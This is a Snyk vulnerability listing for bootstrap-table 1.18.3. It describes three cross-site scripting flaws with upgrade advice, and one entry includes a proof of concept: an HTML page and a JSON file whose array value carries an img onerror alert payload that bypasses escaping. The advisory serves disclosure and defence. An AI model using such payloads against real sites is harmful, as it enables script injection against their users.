Homepage

bootstrap-table@1.18.3 vulnerabilities

An extended table to integration with some of the most widely used CSS frameworks. (Supports Bootstrap, Semantic UI, Bulma, Material Design, Foundation)

  • latest version

    1.24.2

  • latest non vulnerable version

    1.24.2

  • first published

    10 years ago

  • latest version published

    2 months ago

  • licenses detected

  • View bootstrap-table package health on Snyk Advisor  (opens in a new tab)
    • Go back to all versions of this package
    Report a new vulnerability Found a mistake?

    Direct Vulnerabilities

    Known vulnerabilities in the bootstrap-table package. This does not include vulnerabilities belonging to this package’s dependencies.

    Fix vulnerabilities automatically

    Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

    Fix for free
    VulnerabilityVulnerable Version
    • M
    Cross-site Scripting (XSS)

    bootstrap-table is an extended table to integration with some of the most widely used CSS frameworks. (Supports Bootstrap, Semantic UI, Bulma, Material Design, Foundation, Vue.js).

    Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the onCellHtmlData function. If you set the exportOptions in the Bootstrap Table to true, it will allow arbitrary Javascript to execute.

    How to fix Cross-site Scripting (XSS)?

    Upgrade bootstrap-table to version 1.20.2 or higher.

    <1.20.2
    • M
    Cross-site Scripting (XSS)

    bootstrap-table is an extended table to integration with some of the most widely used CSS frameworks. (Supports Bootstrap, Semantic UI, Bulma, Material Design, Foundation, Vue.js).

    Affected versions of this package are vulnerable to Cross-site Scripting (XSS) due to improper sanitization of the onCellHtmlData callback method, it is possible to be exploited when exportOptions is set to "true".

    How to fix Cross-site Scripting (XSS)?

    Upgrade bootstrap-table to version 1.20.2 or higher.

    <1.20.2
    • L
    Cross-site Scripting (XSS)

    bootstrap-table is an extended table to integration with some of the most widely used CSS frameworks. (Supports Bootstrap, Semantic UI, Bulma, Material Design, Foundation, Vue.js).

    Affected versions of this package are vulnerable to Cross-site Scripting (XSS). A type confusion vulnerability can lead to a bypass of input sanitization when the input provided to the escapeHTML function is an array (instead of a string) even if the escape attribute is set.

    PoC

    <!DOCTYPE html>
<html lang="en">
    <head>
    <meta charset="UTF-8">
    <title>BootStrap-Table</title>
    
    <link href="./node_modules/bootstrap-table/dist/bootstrap-table.min.css" rel="stylesheet">
    <script type="text/javascript" src="./node_modules/jquery/dist/jquery.js"></script>
    <script type="text/javascript" src="./node_modules/bootstrap-table/dist/bootstrap-table.js"></script>


    </head>
    <body>
        <table 
            id="table"
            data-toggle="table"
            data-escape="true"
            data-url="json/data1.json"
        >
            <thead>
              <tr>
                <th data-field="name"></th>
              </tr>
            </thead>
        </table>
    </body>
</html>

    Content of json/data1.json:

    [
    {
        "name": "Hello World! <img src='' onerror='alert(1)' />"
    },
    {
        "name": ["Hello World! <img src='' onerror='alert(2)' />"]
    }
]

    How to fix Cross-site Scripting (XSS)?

    Upgrade bootstrap-table to version 1.19.1 or higher.

    <1.19.1
    Go back to all versions of this package